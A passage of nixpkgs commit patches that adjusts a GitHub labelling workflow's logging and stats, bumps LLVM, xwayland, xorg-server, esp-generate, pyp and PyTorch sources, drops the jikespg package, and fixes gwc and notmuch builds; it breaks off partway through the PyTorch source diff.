 .github/workflows/labels.yml | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index d1d846aa9fa1..ce126788ea69 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -128,10 +128,13 @@ jobs:
               },
               async (response, done) => (await Promise.allSettled(response.data.map(async (pull_request) => {
                 try {
-                  const log = (k,v) => core.info(`PR #${pull_request.number} - ${k}: ${v}`)
+                  const log = (k,v,skip) => {
+                    core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
+                    return skip
+                  }
 
-                  log('Last updated at', pull_request.updated_at)
-                  if (new Date(pull_request.updated_at) < cutoff) return done()
+                  if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff))
+                    return done()
                   log('URL', pull_request.html_url)
 
                   const run_id = (await github.rest.actions.listWorkflowRuns({
@@ -146,8 +149,8 @@ jobs:
 
                   // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
                   // job will be run as part of that Eval run anyway.
-                  log('Last eval run', run_id ?? '<pending>')
-                  if (!run_id) return;
+                  if (log('Last eval run', run_id ?? '<pending>', !run_id))
+                    return;
 
                   const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
                     ...context.repo,
@@ -159,8 +162,9 @@ jobs:
                   // actually download the artifact in the next step and avoid that race condition.
                   // Older PRs, where the workflow run was already eval.yml, but the artifact was not
                   // called "comparison", yet, will be skipped as well.
-                  log('Artifact expires at', artifact?.expires_at ?? '<not found>')
-                  if (new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)) return;
+                  const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
+                  if (log('Artifact expires at', artifact?.expires_at ?? '<not found>', expired))
+                    return;
 
                   await artifactClient.downloadArtifact(artifact.id, {
                     findBy: {

From ed6c5a21b6b37062a79f2514c6360419934d707f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 17 Jun 2025 14:44:07 +0200
Subject: [PATCH 1160/4511] workflows/labels: add simple stats

To ease debugging rate-limiting issues.

(cherry picked from commit 4fe9129b789845c25246b77bc76e9a217919a488)
---
 .github/workflows/labels.yml | 21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index ce126788ea69..2ae77cf01421 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -59,6 +59,12 @@ jobs:
 
             const artifactClient = new DefaultArtifactClient()
 
+            const stats = {
+              prs: 0,
+              requests: 0,
+              artifacts: 0
+            }
+
             // Rate-Limiting and Throttling, see for details:
             //   https://github.com/octokit/octokit.js/issues/1069#throttling
             //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
@@ -74,6 +80,7 @@ jobs:
             // Pause between mutative requests
             const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
             github.hook.wrap('request', async (request, options) => {
+              stats.requests++
               if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
                 return writeLimits.schedule(request.bind(null, options))
               else
@@ -117,7 +124,7 @@ jobs:
               base: context.payload.pull_request.base.ref
             }
 
-            await github.paginate(
+            const prs = await github.paginate(
               github.rest.pulls.list,
               {
                 ...context.repo,
@@ -126,7 +133,7 @@ jobs:
                 direction: 'desc',
                 ...prEventCondition
               },
-              async (response, done) => (await Promise.allSettled(response.data.map(async (pull_request) => {
+              (response, done) => response.data.map(async (pull_request) => {
                 try {
                   const log = (k,v,skip) => {
                     core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
@@ -135,6 +142,7 @@ jobs:
 
                   if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff))
                     return done()
+                  stats.prs++
                   log('URL', pull_request.html_url)
 
                   const run_id = (await github.rest.actions.listWorkflowRuns({
@@ -165,6 +173,7 @@ jobs:
                   const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
                   if (log('Artifact expires at', artifact?.expires_at ?? '<not found>', expired))
                     return;
+                  stats.artifacts++
 
                   await artifactClient.downloadArtifact(artifact.id, {
                     findBy: {
@@ -226,10 +235,14 @@ jobs:
                 } catch (cause) {
                   throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause })
                 }
-              })))
+              })
+            );
+
+            (await Promise.allSettled(prs.flat()))
               .filter(({ status }) => status == 'rejected')
               .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
-            )
+
+            core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0
         name: Labels from touched files

From 9e9b52b60c51dc04e2c99418a2b6865d49127395 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Mon, 16 Jun 2025 07:45:27 -0700
Subject: [PATCH 1161/4511] llvmPackages_git: 21.0.0-unstable-2025-06-08 ->
 21.0.0-unstable-2025-06-15

(cherry picked from commit 1923fdbbde5c01892fe7fb3131962502766cecd8)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 9753bed82150..2ae34f202fd1 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "90beda2aba3cac34052827c560449fcb184c7313";
-      rev-version = "21.0.0-unstable-2025-06-08";
-      sha256 = "sha256-+aTUb9Hg/upulKGLKNpqDYKES62mWkjuLZP07WGnBSc=";
+      rev = "9adde28df784f5c0cc960bdabd413ac131a5852e";
+      rev-version = "21.0.0-unstable-2025-06-15";
+      sha256 = "sha256-8HrUSKL3vOd/Jg9svso9ChCr4tvlGOliyGfi18oZLDY=";
     };
   } // llvmVersions;
 

From 5881e17d0b6e9e94e66b79e0f258bcade5e28e3d Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 10 Jun 2025 16:27:50 -0400
Subject: [PATCH 1162/4511] jikespg: drop

Unmaintained upstream, does not build with gcc 14.

(cherry picked from commit 5cb0ec2406c904c954e20a90b54eec22bdbc8a3c)
---
 pkgs/by-name/ji/jikespg/package.nix | 34 -----------------------------
 pkgs/top-level/aliases.nix          |  1 +
 2 files changed, 1 insertion(+), 34 deletions(-)
 delete mode 100644 pkgs/by-name/ji/jikespg/package.nix

diff --git a/pkgs/by-name/ji/jikespg/package.nix b/pkgs/by-name/ji/jikespg/package.nix
deleted file mode 100644
index 3651ebe31567..000000000000
--- a/pkgs/by-name/ji/jikespg/package.nix
+++ /dev/null
@@ -1,34 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "jikespg";
-  version = "1.3";
-
-  src = fetchurl {
-    url = "mirror://sourceforge/jikes/${pname}-${version}.tar.gz";
-    sha256 = "083ibfxaiw1abxmv1crccx1g6sixkbyhxn2hsrlf6fwii08s6rgw";
-  };
-
-  postPatch = ''
-    substituteInPlace Makefile --replace-fail "gcc" "${stdenv.cc.targetPrefix}cc ${lib.optionalString stdenv.hostPlatform.isDarwin "-std=c89"}"
-  '';
-
-  sourceRoot = "jikespg/src";
-
-  installPhase = ''
-    install -Dm755 -t $out/bin jikespg
-  '';
-
-  meta = with lib; {
-    homepage = "https://jikes.sourceforge.net/";
-    description = "Jikes Parser Generator";
-    mainProgram = "jikespg";
-    platforms = platforms.all;
-    license = licenses.ipl10;
-    maintainers = with maintainers; [ pSub ];
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 53d6fb5b3a8b..cfb49b1917a9 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -917,6 +917,7 @@ mapAliases {
   javacard-devkit = throw "javacard-devkit was dropped due to having a dependency on the Oracle JDK, as well as being several years out-of-date."; # Added 2024-11-01
   jd-cli = throw "jd-cli has been removed due to upstream being unmaintained since 2019. Other Java decompilers in Nixpkgs include bytecode-viewer (GUI), cfr (CLI), and procyon (CLI)."; # Added 2024-10-30
   jd-gui = throw "jd-gui has been removed due to a dependency on the dead JCenter Bintray. Other Java decompilers in Nixpkgs include bytecode-viewer (GUI), cfr (CLI), and procyon (CLI)."; # Added 2024-10-30
+  jikespg = throw "'jikespg' has been removed due to of maintenance upstream."; # Added 2025-06-10
   jsawk = throw "'jsawk' has been removed because it is unmaintained upstream"; # Added 2028-08-07
 
   # Julia

From 2e6a65796eb9b163f20560fe87bc328ae1f35181 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 16:24:41 -0400
Subject: [PATCH 1163/4511] jikespg: correct aliases.nix typo

(cherry picked from commit 4b8bc88ffedea3bb639c5110d9340178cc32fb91)
---
 pkgs/top-level/aliases.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index cfb49b1917a9..e1a4b00e4376 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -917,7 +917,7 @@ mapAliases {
   javacard-devkit = throw "javacard-devkit was dropped due to having a dependency on the Oracle JDK, as well as being several years out-of-date."; # Added 2024-11-01
   jd-cli = throw "jd-cli has been removed due to upstream being unmaintained since 2019. Other Java decompilers in Nixpkgs include bytecode-viewer (GUI), cfr (CLI), and procyon (CLI)."; # Added 2024-10-30
   jd-gui = throw "jd-gui has been removed due to a dependency on the dead JCenter Bintray. Other Java decompilers in Nixpkgs include bytecode-viewer (GUI), cfr (CLI), and procyon (CLI)."; # Added 2024-10-30
-  jikespg = throw "'jikespg' has been removed due to of maintenance upstream."; # Added 2025-06-10
+  jikespg = throw "'jikespg' has been removed due to lack of maintenance upstream."; # Added 2025-06-10
   jsawk = throw "'jsawk' has been removed because it is unmaintained upstream"; # Added 2028-08-07
 
   # Julia

From c45d72f53b1a558b477aa9d1084643c6eaeaeffa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 16 Jun 2025 10:54:33 +0000
Subject: [PATCH 1164/4511] esp-generate: 0.3.1 -> 0.4.0

(cherry picked from commit b51b5a42d1418e4804c9572f799275df0cf97000)
---
 pkgs/by-name/es/esp-generate/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/es/esp-generate/package.nix b/pkgs/by-name/es/esp-generate/package.nix
index b335ff256c18..b0cc10b7d621 100644
--- a/pkgs/by-name/es/esp-generate/package.nix
+++ b/pkgs/by-name/es/esp-generate/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "esp-generate";
-  version = "0.3.1";
+  version = "0.4.0";
 
   src = fetchFromGitHub {
     owner = "esp-rs";
     repo = "esp-generate";
     rev = "v${version}";
-    hash = "sha256-yk7iv5nq2b/1OY77818I7mXW96YxjwwJS3iiv1KXVHs=";
+    hash = "sha256-4RF0XcDpUcMQ0u2FTRBnZdQDM7DlaI7pl5HukMbbbBE=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-ncTX9cDSAf6ZGlz0utGYxkuXcx85vt3VHQzdmQhCNf0=";
+  cargoHash = "sha256-c/BYf6SXOdI/K4t3fT4ycuILkIYCiSbHafLprSMvK8E=";
 
   meta = {
     description = "Template generation tool to create no_std applications targeting Espressif's chips";

From 68d0e8f798df74da2e2d82ad91e0b7fedb1860c8 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 17 Jun 2025 17:58:09 +0300
Subject: [PATCH 1165/4511] xwayland: 24.1.6 -> 24.1.7

(cherry picked from commit 8242df11f0a96d11400af77d2c2e70beacbde82a)
---
 pkgs/servers/x11/xorg/xwayland.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/x11/xorg/xwayland.nix b/pkgs/servers/x11/xorg/xwayland.nix
index 99c9aabbbbdd..d5b49da0b521 100644
--- a/pkgs/servers/x11/xorg/xwayland.nix
+++ b/pkgs/servers/x11/xorg/xwayland.nix
@@ -54,11 +54,11 @@
 
 stdenv.mkDerivation rec {
   pname = "xwayland";
-  version = "24.1.6";
+  version = "24.1.7";
 
   src = fetchurl {
     url = "mirror://xorg/individual/xserver/${pname}-${version}.tar.xz";
-    hash = "sha256-c35hLKNrvfQVqRFkTrdZLPk4mEaEe0f6RtxwW9dU0tc=";
+    hash = "sha256-99l+JICSh4o/fTxosl2rZSv5cNnmoX0w+/RXquoTnMs=";
   };
 
   postPatch = ''

From a35f239d9d5f97b5ae14f01add01b0e076d56042 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 17 Jun 2025 18:02:07 +0300
Subject: [PATCH 1166/4511] xorg.xorgserver: 21.1.16 -> 21.1.17

(cherry picked from commit f342e99aaf8b26e45e5be7f7bb3856ad706f866d)
---
 pkgs/servers/x11/xorg/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/servers/x11/xorg/default.nix b/pkgs/servers/x11/xorg/default.nix
index 452c483c57b8..e9284b7de260 100644
--- a/pkgs/servers/x11/xorg/default.nix
+++ b/pkgs/servers/x11/xorg/default.nix
@@ -7795,7 +7795,7 @@ self: with self; {
     }:
     stdenv.mkDerivation (finalAttrs: {
       pname = "xorg-server";
-      version = "21.1.16";
+      version = "21.1.17";
       builder = ./builder.sh;
       src = fetchurl {
         url = "mirror://xorg/individual/xserver/xorg-server-21.1.16.tar.xz";

From 50aa989b4eb34307953f989793473d4e0d45e271 Mon Sep 17 00:00:00 2001
From: AlisterH <alister.hood@gmail.com>
Date: Thu, 5 Jun 2025 00:27:03 +1200
Subject: [PATCH 1167/4511] gwc: fix build with gcc14

(cherry picked from commit 66f488758519366e5a8de3f13e31ca271e52ca88)
---
 pkgs/by-name/gw/gwc/package.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/gw/gwc/package.nix b/pkgs/by-name/gw/gwc/package.nix
index ee0c97523fcd..1fa2a34e019c 100644
--- a/pkgs/by-name/gw/gwc/package.nix
+++ b/pkgs/by-name/gw/gwc/package.nix
@@ -37,6 +37,12 @@ stdenv.mkDerivation rec {
     fftw
   ];
 
+  env.NIX_CFLAGS_COMPILE = toString [
+    "-Wno-error=implicit-function-declaration"
+    "-Wno-error=int-conversion"
+    "-Wno-error=incompatible-pointer-types"
+  ];
+
   enableParallelBuilding = false; # Fails to generate machine.h in time.
 
   meta = with lib; {

From 0fff4d18d97e2853023a9667b452c3463625eb16 Mon Sep 17 00:00:00 2001
From: Jules Aguillon <jules@j3s.fr>
Date: Mon, 16 Jun 2025 12:02:57 +0200
Subject: [PATCH 1168/4511] notmuch: Fix RUBYLIB path in the Vim plugin

It was pointing to the wrong location since 0082fde.

(cherry picked from commit add8c2c3fb458bd36c4193dde2cc98fe32033cd5)
---
 pkgs/applications/networking/mailreaders/notmuch/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/mailreaders/notmuch/default.nix b/pkgs/applications/networking/mailreaders/notmuch/default.nix
index b4570d58434b..0535199e31e7 100644
--- a/pkgs/applications/networking/mailreaders/notmuch/default.nix
+++ b/pkgs/applications/networking/mailreaders/notmuch/default.nix
@@ -190,7 +190,7 @@ stdenv.mkDerivation (finalAttrs: {
       PLUG=$vim/share/vim-plugins/notmuch/plugin/notmuch.vim
       cat >> $PLUG << EOF
         let \$GEM_PATH=\$GEM_PATH . ":${finalAttrs.passthru.gemEnv}/${ruby.gemPath}"
-        let \$RUBYLIB=\$RUBYLIB . ":$vim/${ruby.libPath}/${ruby.system}"
+        let \$RUBYLIB=\$RUBYLIB . ":$out/${ruby.libPath}/${ruby.system}"
         if has('nvim')
       EOF
       for gem in ${finalAttrs.passthru.gemEnv}/${ruby.gemPath}/gems/*/lib; do

From 47d32f479cd72f45ea7d438641a58cbd4d8b677b Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Tue, 17 Jun 2025 17:22:56 +0300
Subject: [PATCH 1169/4511] pyp: 1.2.0 -> 1.3.0

(cherry picked from commit acf9365d44df5430c3e5f7a6048faab3b3e13217)
---
 pkgs/by-name/py/pyp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/py/pyp/package.nix b/pkgs/by-name/py/pyp/package.nix
index 7d0df04993d1..aea53b2c2b05 100644
--- a/pkgs/by-name/py/pyp/package.nix
+++ b/pkgs/by-name/py/pyp/package.nix
@@ -10,13 +10,13 @@ let
   pythonPackages = python3.pkgs;
   finalAttrs = {
     pname = "pyp";
-    version = "1.2.0";
+    version = "1.3.0";
 
     src = fetchFromGitHub {
       owner = "hauntsaninja";
       repo = "pyp";
       tag = "v${finalAttrs.version}";
-      hash = "sha256-hnEgqWOIVj2ugOhd2aS9IulfkVnrlkhwOtrgH4qQqO8=";
+      hash = "sha256-u9yxjYNQrtYtFtUh5tTJ1mGmGB+Ry+FRupli8RzRu3c=";
     };
 
     pyproject = true;

From 19c1e43585fb87c564c43349decf2396e6c25907 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Tue, 17 Jun 2025 19:49:03 +0300
Subject: [PATCH 1170/4511] xorg.xorgserver: 21.1.16 -> 21.1.17

---
 pkgs/servers/x11/xorg/default.nix   | 4 ++--
 pkgs/servers/x11/xorg/tarballs.list | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/x11/xorg/default.nix b/pkgs/servers/x11/xorg/default.nix
index e9284b7de260..064336198271 100644
--- a/pkgs/servers/x11/xorg/default.nix
+++ b/pkgs/servers/x11/xorg/default.nix
@@ -7798,8 +7798,8 @@ self: with self; {
       version = "21.1.17";
       builder = ./builder.sh;
       src = fetchurl {
-        url = "mirror://xorg/individual/xserver/xorg-server-21.1.16.tar.xz";
-        sha256 = "b14a116d2d805debc5b5b2aac505a279e69b217dae2fae2dfcb62400471a9970";
+        url = "mirror://xorg/individual/xserver/xorg-server-21.1.17.tar.xz";
+        sha256 = "1l7cxxk2z8vxz42a3bjm7l2mzhd44kna9lwk5lncvx2m3b143552";
       };
       hardeningDisable = [
         "bindnow"
diff --git a/pkgs/servers/x11/xorg/tarballs.list b/pkgs/servers/x11/xorg/tarballs.list
index edf7e236639a..651d7349a36a 100644
--- a/pkgs/servers/x11/xorg/tarballs.list
+++ b/pkgs/servers/x11/xorg/tarballs.list
@@ -207,4 +207,4 @@ mirror://xorg/individual/util/bdftopcf-1.1.2.tar.xz
 mirror://xorg/individual/util/imake-1.0.10.tar.xz
 mirror://xorg/individual/util/lndir-1.0.5.tar.xz
 mirror://xorg/individual/util/xorg-cf-files-1.0.8.tar.xz
-mirror://xorg/individual/xserver/xorg-server-21.1.16.tar.xz
+mirror://xorg/individual/xserver/xorg-server-21.1.17.tar.xz

From 59ec32e010e7290a831257ab922babf1d4f6c015 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 25 Apr 2025 08:48:20 +0200
Subject: [PATCH 1171/4511] python312Packages.torch: 2.6.0 -> 2.7.0

Diff: https://github.com/pytorch/pytorch/compare/v2.6.0...v2.7.0

Changelog: https://github.com/pytorch/pytorch/releases/tag/v2.7.0
(cherry picked from commit f6a3fcca7ed9ce0fa5dc57c90c3947ce476260ce)
---
 .../python-modules/torch/source/default.nix   | 25 +++--
 .../python-modules/torch/source/src.nix       | 95 ++++++++++++-------
 .../torch/source/xnnpack-bfloat16.patch       | 21 ----
 3 files changed, 79 insertions(+), 62 deletions(-)
 delete mode 100644 pkgs/development/python-modules/torch/source/xnnpack-bfloat16.patch

diff --git a/pkgs/development/python-modules/torch/source/default.nix b/pkgs/development/python-modules/torch/source/default.nix
index fc103d81d60e..1eb197bdcdcc 100644
--- a/pkgs/development/python-modules/torch/source/default.nix
+++ b/pkgs/development/python-modules/torch/source/default.nix
@@ -42,6 +42,7 @@
   # Build inputs
   apple-sdk_13,
   numactl,
+  llvmPackages,
 
   # dependencies
   astunparse,
@@ -120,7 +121,7 @@ let
 
   setBool = v: if v then "1" else "0";
 
-  # https://github.com/pytorch/pytorch/blob/v2.6.0/torch/utils/cpp_extension.py#L2046-L2048
+  # https://github.com/pytorch/pytorch/blob/v2.7.0/torch/utils/cpp_extension.py#L2343-L2345
   supportedTorchCudaCapabilities =
     let
       real = [
@@ -142,6 +143,12 @@ let
         "9.0"
         "9.0a"
         "10.0"
+        "10.0"
+        "10.0a"
+        "10.1"
+        "10.1a"
+        "12.0"
+        "12.0a"
       ];
       ptx = lists.map (x: "${x}+PTX") real;
     in
@@ -254,7 +261,7 @@ in
 buildPythonPackage rec {
   pname = "torch";
   # Don't forget to update torch-bin to the same version.
-  version = "2.6.0";
+  version = "2.7.0";
   pyproject = true;
 
   stdenv = stdenv';
@@ -279,9 +286,6 @@ buildPythonPackage rec {
   patches =
     [
       ./clang19-template-warning.patch
-      # fix invalid static cast in XNNPACK
-      # https://github.com/google/XNNPACK/issues/7489
-      ./xnnpack-bfloat16.patch
     ]
     ++ lib.optionals cudaSupport [ ./fix-cmake-cuda-toolkit.patch ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [
@@ -298,6 +302,11 @@ buildPythonPackage rec {
 
   postPatch =
     ''
+      # Prevent NCCL from being cloned during the configure phase
+      # TODO: remove when updating to the next release as it will not be needed anymore
+      substituteInPlace tools/build_pytorch_libs.py \
+        --replace-fail "  checkout_nccl()" "  "
+
       substituteInPlace cmake/public/cuda.cmake \
         --replace-fail \
           'message(FATAL_ERROR "Found two conflicting CUDA' \
@@ -323,15 +332,13 @@ buildPythonPackage rec {
 
       # Replace hard-coded rocm paths
       substituteInPlace caffe2/CMakeLists.txt \
-        --replace-fail "/opt/rocm" "${rocmtoolkit_joined}" \
         --replace-fail "hcc/include" "hip/include" \
         --replace-fail "rocblas/include" "include/rocblas" \
         --replace-fail "hipsparse/include" "include/hipsparse"
 
       # Doesn't pick up the environment variable?
       substituteInPlace third_party/kineto/libkineto/CMakeLists.txt \
-        --replace-fail "\''$ENV{ROCM_SOURCE_DIR}" "${rocmtoolkit_joined}" \
-        --replace-fail "/opt/rocm" "${rocmtoolkit_joined}"
+        --replace-fail "\''$ENV{ROCM_SOURCE_DIR}" "${rocmtoolkit_joined}"
 
       # Strangely, this is never set in cmake
       substituteInPlace cmake/public/LoadHIP.cmake \
@@ -508,6 +515,7 @@ buildPythonPackage rec {
       blas
       blas.provider
     ]
+    ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
     ++ lib.optionals cudaSupport (
       with cudaPackages;
       [
@@ -521,6 +529,7 @@ buildPythonPackage rec {
         cusparselt
         libcublas
         libcufft
+        libcufile
         libcurand
         libcusolver
         libcusparse
diff --git a/pkgs/development/python-modules/torch/source/src.nix b/pkgs/development/python-modules/torch/source/src.nix
index 24c39ff9e375..c4a716112b34 100644
--- a/pkgs/development/python-modules/torch/source/src.nix
+++ b/pkgs/development/python-modules/torch/source/src.nix
@@ -4,7 +4,7 @@
   fetchFromGitHub,
   runCommand,
 }:
-assert version == "2.6.0";
+assert version == "2.7.0";
 (rec {
   src_asmjit = fetchFromGitHub {
     owner = "asmjit";
@@ -45,8 +45,14 @@ assert version == "2.6.0";
   src_composable_kernel = fetchFromGitHub {
     owner = "ROCm";
     repo = "composable_kernel";
-    rev = "50ee4267e27b875d149e642f4cebd47be1dc3b57";
-    hash = "sha256-COkyf+FZzX6OdOPCHkP2bXsVvSXK9UR9s7RHWRtIXUE=";
+    rev = "8086bbe3a78d931eb96fe12fdc014082e18d18d3";
+    hash = "sha256-fyL1SzRs5CXW5CWy6kCN1y1xX6cG+ur7iQlbKX2zbCM=";
+  };
+  src_composable_kernel_flash-attention = fetchFromGitHub {
+    owner = "ROCm";
+    repo = "composable_kernel";
+    rev = "888317e698e9803c62bd38568abc9e05d7709f33";
+    hash = "sha256-0FAiGf7AErBzGxhOFcLQ4ceshqp0Esqo4ee7NsjfJUo=";
   };
   src_cpp-httplib = fetchFromGitHub {
     owner = "yhirose";
@@ -75,14 +81,14 @@ assert version == "2.6.0";
   src_cudnn-frontend = fetchFromGitHub {
     owner = "NVIDIA";
     repo = "cudnn-frontend";
-    rev = "936021bfed8c91dc416af1588b2c4eca631a9e45";
-    hash = "sha256-hKqIWGxVco1qkKxDZjc+pUisIcYJwFjZobJZg1WgDvY=";
+    rev = "91b7532f3386768bba4f444ee7672b497f34da8a";
+    hash = "sha256-Ks07ApADA3xQQ+N5BIfvDG+djCvxYL9btF8Aw7TuMvQ=";
   };
   src_cutlass = fetchFromGitHub {
     owner = "NVIDIA";
     repo = "cutlass";
-    rev = "bbe579a9e3beb6ea6626d9227ec32d0dae119a49";
-    hash = "sha256-81O80F3MMOn22N9UaXLU6/9DTVWenYvKhLTHoxw8EEU=";
+    rev = "afa1772203677c5118fcd82537a9c8fefbcc7008";
+    hash = "sha256-oIzlbKRdOh6gp6nRZ8udLSqleBFoFtgM7liCBlHZLOk=";
   };
   src_cutlass_fbgemm = fetchFromGitHub {
     owner = "NVIDIA";
@@ -90,6 +96,12 @@ assert version == "2.6.0";
     rev = "fc9ebc645b63f3a6bc80aaefde5c063fb72110d6";
     hash = "sha256-e2SwXNNwjl/1fV64b+mOJvwGDYeO1LFcqZGbNten37U=";
   };
+  src_cutlass_flash-attention = fetchFromGitHub {
+    owner = "NVIDIA";
+    repo = "cutlass";
+    rev = "c506e16788cb08416a4a57e11a9067beeee29420";
+    hash = "sha256-P/BgJ7MdNTzNgsqoTjxrOQwvKfhAS+rmBw3sC/SdO1I=";
+  };
   src_DCGM = fetchFromGitHub {
     owner = "NVIDIA";
     repo = "DCGM";
@@ -121,6 +133,12 @@ assert version == "2.6.0";
     rev = "7e1e1fe3858c63c251c637ae41a20de425dde96f";
     hash = "sha256-PsgUHtCE3dNR2QdUnRjrXb0ZKZNGwFkA8RWYkZEklEY=";
   };
+  src_flash-attention = fetchFromGitHub {
+    owner = "Dao-AILab";
+    repo = "flash-attention";
+    rev = "979702c87a8713a8e0a5e9fee122b90d2ef13be5";
+    hash = "sha256-7jk8TD+EkkOPrVT5Nzoc+zoZ4jH/C1AtjLcP12hBrp0=";
+  };
   src_flatbuffers = fetchFromGitHub {
     owner = "google";
     repo = "flatbuffers";
@@ -130,8 +148,8 @@ assert version == "2.6.0";
   src_fmt = fetchFromGitHub {
     owner = "fmtlib";
     repo = "fmt";
-    rev = "0c9fce2ffefecfdce794e1859584e25877b7b592";
-    hash = "sha256-IKNt4xUoVi750zBti5iJJcCk3zivTt7nU12RIf8pM+0=";
+    rev = "123913715afeb8a437e6388b4473fcc4753e1c9a";
+    hash = "sha256-sUbxlYi/Aupaox3JjWFqXIjcaQa0LFjclQAOleT+FRA=";
   };
   src_fmt_dynolog = fetchFromGitHub {
     owner = "fmtlib";
@@ -250,8 +268,8 @@ assert version == "2.6.0";
   src_ideep = fetchFromGitHub {
     owner = "intel";
     repo = "ideep";
-    rev = "c7ccd5bdbe5434ba156f4e856dcef0601637334b";
-    hash = "sha256-/u3wJQl49tBw/QNVDBXL+eNSRCuvltso7g1+siIhlXM=";
+    rev = "719d8e6cd7f7a0e01b155657526d693acf97c2b3";
+    hash = "sha256-WX1lluqYeoB2IuwJX1vqZ6nr8W8KsWxUDIvKNA3CAxo=";
   };
   src_ittapi = fetchFromGitHub {
     owner = "intel";
@@ -280,8 +298,14 @@ assert version == "2.6.0";
   src_kineto = fetchFromGitHub {
     owner = "pytorch";
     repo = "kineto";
-    rev = "338140f58a28d599da3434ced4fd2d75dd1a213d";
-    hash = "sha256-ydHUYB2m7dbbqBtLordZUCraewU0Q4m/ohBXNKtqHnw=";
+    rev = "a054a4be0db117c579a21747debf19c863631f26";
+    hash = "sha256-FyxMiDoDrjI8JZZNxK4S18yjULkKLUvqLQsCyxaTLSg=";
+  };
+  src_kleidiai = fetchFromGitHub {
+    owner = "ARM-software";
+    repo = "kleidiai";
+    rev = "ef685a13cfbe8d418aa2ed34350e21e4938358b6";
+    hash = "sha256-5RS2o+163/6Q+0y0FuWz6OBXw3FKxZINDkGOqlmd2N0=";
   };
   src_libnop = fetchFromGitHub {
     owner = "google";
@@ -304,14 +328,8 @@ assert version == "2.6.0";
   src_mkl-dnn = fetchFromGitHub {
     owner = "intel";
     repo = "mkl-dnn";
-    rev = "66f0cb9eb66affd2da3bf5f8d897376f04aae6af";
-    hash = "sha256-/ERkk6bgGEKoJEVdnBxMFEzB8pii71t3zQZNtyg+TdQ=";
-  };
-  src_nccl = fetchFromGitHub {
-    owner = "NVIDIA";
-    repo = "nccl";
-    rev = "ab2b89c4c339bd7f816fbc114a4b05d386b66290";
-    hash = "sha256-IF2tILwW8XnzSmfn7N1CO7jXL95gUp02guIW5n1eaig=";
